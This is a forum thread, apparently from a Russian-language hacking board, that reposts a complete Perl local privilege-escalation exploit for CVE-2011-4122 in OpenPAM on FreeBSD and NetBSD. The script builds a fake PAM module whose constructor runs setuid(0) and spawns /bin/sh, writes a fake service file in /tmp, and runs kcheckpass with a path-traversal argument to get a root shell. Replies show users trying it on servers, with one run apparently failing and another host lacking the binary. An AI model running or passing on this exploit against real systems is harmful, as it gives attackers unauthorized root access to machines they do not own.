FreeBsd OpenPAM 'pam_start()' Local Privilege Escalation Vulnerability

[Pashkela]

#!/usr/bin/perl
# Bugtraq ID: 	 50607 
# Class: 	 Design Error 
# CVE: 	 CVE-2011-4122
# Remote: 	 No 
# Local: 	 Yes 
# Published: 	 Nov 09 2011 12:00AM 
# Updated: 	 Dec 23 2011 04:50PM
# kcheckpass invoking pam_start() with user provided
# service argument, what a bad idea. OpenPAM accepts that.
# Maybe this pam_start() vulnerability is exploitable via
# other vectors as well.
# Vuln tested on a FreeBSD 8.1. It does not affect
# Linux PAM, as it is checking for / character
# Vulnerable: 	 OpenPAM OpenPAM 0
# NetBSD NetBSD current pre20010805
# NetBSD NetBSD current August 23 2006
# NetBSD NetBSD 4.0.2 
# NetBSD NetBSD 4.0.1 
# NetBSD NetBSD current pre20061022
# NetBSD NetBSD current pre20010701
# NetBSD NetBSD Current
# NetBSD NetBSD 5.1
# NetBSD NetBSD 4.0 BETA2
# FreeBSD Freebsd 9.0-STABLE
# FreeBSD Freebsd 9.0-RELEASE
# FreeBSD Freebsd 9.0-RC3
# FreeBSD Freebsd 9.0-RC1
# FreeBSD Freebsd 8.2-STABLE
# FreeBSD Freebsd 8.2-STABLE
# FreeBSD Freebsd 8.2-RELEASE-p2
# FreeBSD Freebsd 8.2-RELEASE-p1
# FreeBSD Freebsd 8.2 - RELEASE -p3
# FreeBSD Freebsd 8.2
# FreeBSD Freebsd 8.1-RELEASE-p5
# FreeBSD Freebsd 8.1-RELEASE-p4
# FreeBSD FreeBSD 8.1-RELEASE
# FreeBSD FreeBSD 8.1-PRERELEASE
# FreeBSD Freebsd 8.1
# FreeBSD Freebsd 7.4-STABLE
# FreeBSD Freebsd 7.4-RELEASE-p2
# FreeBSD Freebsd 7.4 -RELEASE-p3
# FreeBSD Freebsd 7.4
# FreeBSD FreeBSD 7.3-STABLE
# FreeBSD Freebsd 7.3-RELEASE-p6
# FreeBSD FreeBSD 7.3-RELEASE-p1
# FreeBSD Freebsd 7.3 - RELEASE - p7
# FreeBSD Freebsd 7.3
# (C) 2011 by some dude, meant as a PoC! Only use on your own
# machine and on your own risk!!!
#
# This commit is likely to fix the bug:
# http://trac.des.no/openpam/changeset/478/trunk/lib/openpam_configure.c
#

my $kcheckpass = "/usr/local/kde4/lib/kde4/libexec/kcheckpass";

# build suid shell
open(O,">/tmp/slam.c") or die $!;
print O<<EOC;

#include <stdio.h>
#include <unistd.h>

void __attribute__((constructor)) init()
{
	char *a[] = {"/bin/sh", NULL};
	setuid(0);
	execve(*a, a, NULL);
}
EOC
close(O);

# build fake pam module
system("gcc -fPIC -Wall -c /tmp/slam.c -o /tmp/slam.o;gcc -shared -o /tmp/slam.so /tmp/slam.o");

# build fake PAM service file
open(O,">/tmp/pamslam") or die $!;
print O<<EOP;
auth	sufficient	/tmp/slam.so
EOP
close(O);

print "We need more Elchsalami! Happy birthday dude!\n";
exec("$kcheckpass -c ../../../tmp/pamslam -m classic");

кто-нибудь проверял?

[Cuko]

$ uname -a FreeBSD site.ru 8.1-RELEASE-p1 FreeBSD 8.1-RELEASE-p1 #0: Thu Oct 14 10:45:55 MSD 2010 root@site.local:/usr/obj/usr/src/sys/ISPSERVER amd64
$ perl 1.pl We need more Elchsalami! Happy birthday dude!
К сожалению так...

[snake]

$ ls -la /usr/local/kde4/lib/kde4/libexec/kcheckpass
ls: /usr/local/kde4/lib/kde4/libexec/kcheckpass: No such file or directory
$ locate kcheckpass
$ which kcheckpass
$ whereis kcheckpass
kcheckpass:
$


кедовый бинарь,на сервере их скорее всего нет.